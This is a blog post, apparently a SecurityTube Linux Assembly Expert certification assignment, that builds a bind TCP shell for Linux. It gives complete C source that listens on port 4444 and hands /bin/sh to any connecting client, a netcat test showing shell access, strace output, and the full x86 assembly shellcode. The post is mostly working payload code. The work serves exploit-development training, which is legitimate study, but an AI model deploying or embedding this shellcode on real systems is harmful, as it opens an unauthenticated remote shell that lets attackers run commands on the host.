Pages

Sunday, August 4, 2013

Bind TCP shellcode

 To create a bind TCP shellcode, I've first started with a small C program to do this and analysed the system calls. The following program listens for incoming connections and spawns a new shell:
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>

int main() {
    int listenfd = 0, connfd = 0;    
    int ret = 0;

    struct sockaddr_in serv_addr;

    // Create an un-named socket. returns socket descriptor
    listenfd = socket(AF_INET, SOCK_STREAM, 0);

    memset(&serv_addr, '0', sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    serv_addr.sin_port = htons(4444);

    bind(listenfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr));

    // Listen on the created socket for maximum 1 client connection
    listen(listenfd, 1);

    // Sleep waiting for client requests
    connfd = accept(listenfd, (struct sockaddr*) NULL, NULL);
    printf("Created accept socket: %d\n", connfd);

    // Duplicate stdin, stdout, stderr
    ret = dup2(connfd, 0);
    if (-1 == ret) {
        printf("STDIN duplication failed: %s\n", strerror(errno));
        return 1;
    }

    ret = dup2(connfd, 1);
    if (-1 == ret) {
        printf("STDOUT duplication failed: %s\n", strerror(errno));
        return 1;
    }

    ret = dup2(connfd, 2);
    if (-1 == ret) {
        printf("STDERR duplication failed: %s\n", strerror(errno));
        return 1;
    }

    // Replace process image
    char *args[2];
    args[0] = "/bin/sh";
    args[1] = NULL;      // Needs to ne a NULL terminated list of args

    ret = execve(args[0], args, NULL);
    if (-1 == ret) {
        printf("Execve failed: %s\n", strerror(errno));
        return 1;
    }

    return 0;
}
We can test and see we get a shell:
$ gcc -Wall shell_bind_tcp.c -o shell_bind_tcp
$ ./shell_bind_tcp  &
[1] 4528
$ nc -nvv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
Created accept socket: 4
whoami
liv
We can then analyse the system calls necessary to bind the socket, listen for connections and execute the shell:
$ strace ./shell_bind_tcp 
...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1)                            = 0
accept(3, 0, NULL)                      = 4
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
dup2(4, 2)                              = 2
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0

The next step is to reproduce these system calls in assembly and get the shellcode:
; SLAE - Assignment 1
;
; Shell Bind TCP
;

global _start   

section .text
_start:

    ; Linux Syscall Reference
    ; http://syscalls.kernelgrok.com/


    ; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = listenfd
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    push ecx        ; NULL terminate args list
    mov cl, 6       ; IPPROTO_TCP (6)
    push ecx
    xor ecx, ecx
    mov cl, 1       ; SOCK_STREAM (1) - in socket.h
    push ecx
    xor ecx, ecx
    mov cl, 2       ; PF_INET (2) - IP PROTO FAMILY
    push ecx
    mov ecx, esp    ; socketcall arguments
    xor ebx, ebx
    mov bl, 1       ; socketcall type of call: SYS_SOCKET (1) 
    push 102
    pop eax         ; socketcall syscall
    int 0x80
    mov edx, eax    ; listenfd is returned in eax. Save into edx    

    ; 2. bind(listenfd, {sa_family=AF_INET, sin_port=htons(4444), \
    ;       sin_addr=inet_addr("0.0.0.0")}, 16)
    ;struct sockaddr_in {
    ;    short            sin_family;   // e.g. AF_INET, AF_INET6
    ;    unsigned short   sin_port;     // e.g. htons(3490)
    ;    struct in_addr   sin_addr;     // see struct in_addr, below
    ;    char             sin_zero[8];  // zero this if you want to
    ;};
    ;struct in_addr {
    ;    unsigned long s_addr;          // load with inet_pton()
    ;};
    xor ecx, ecx    ; Construct sockaddr structure on the stack
    push ecx        ; inet_addr - 0.0.0.0 - INADDR_ANY
    push word <PORT>; 16 bits - port number
    push word 2     ; family - AF_INET (2)
    mov ecx, esp    ; pointer to args

    push byte 0x10  ; Address length - 16 bytes
    push ecx        ; Pointer to sockaddr_in structure
    push edx        ; listenfd from socket call

    mov ecx, esp    ; socketcall arguments
    xor ebx, ebx
    mov bl, 2       ; socketcall type of call: SYS_BIND (2)
    xor eax, eax
    mov al, 102     ; socketcall syscall
    int 0x80

    ; 3. listen(listenfd, 1)
    push 1          ; max connections
    push edx        ; listenfd
    mov ecx, esp    ; pointer to socketcall arguments
    push 4
    pop ebx         ; SYS_LISTEN (4)
    push 102
    pop eax         ; socketcall syscall
    int 0x80
 
    ; 4. accept(listenfd, 0, NULL) = connfd
    xor ecx, ecx
    push ecx        ; NULL
    push ecx        ; 0
    push edx        ; listenfd
    mov ecx, esp    ; pointer to socketcall arguments
    push 5
    pop ebx         ; SYS_ACCEPT = 5
    push 102
    pop eax         ; socketcall syscall
    int 0x80        ; connfd will be in eax
    mov edx, eax    ; save new connection descriptor

    ; 5. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
    push 2
    pop ecx         ; ecx - newfd
    mov ebx, edx    ; edx - connfd, ebx - oldfd
    dup_loop:
    mov al, 63      ; dup2 syscall
    int 0x80
    dec ecx
    jns dup_loop    ; exit when signed (-1)
      
    ; 6. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
 ; PUSH the first null dword 
 xor eax, eax
 push eax

    ; PUSH //bin/sh (8 bytes) 
 push 0x68732f2f ; 'hs//'
 push 0x6e69622f ; 'nib/
 mov ebx, esp    ; EBX - 1st param - NULL terminated filename

 push eax        ; EDX - 3rd param - NULL terminated list of env variables
 mov edx, esp    ; NULL terminator must be set before setting the 2nd param!

 push ebx        ; ECX - 2nd param - array of argument strings
 mov ecx, esp

 mov al, 11      ; execve syscall
 int 0x80


To make the port number easily configurable, I've made a bash wrapper, which replaces PORT with a command line argument and then assembles and links the asm source

The complete source files, wrapper script and test shellcode can be found in  a git repository at:
SLAE


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449
    

No comments:

Post a Comment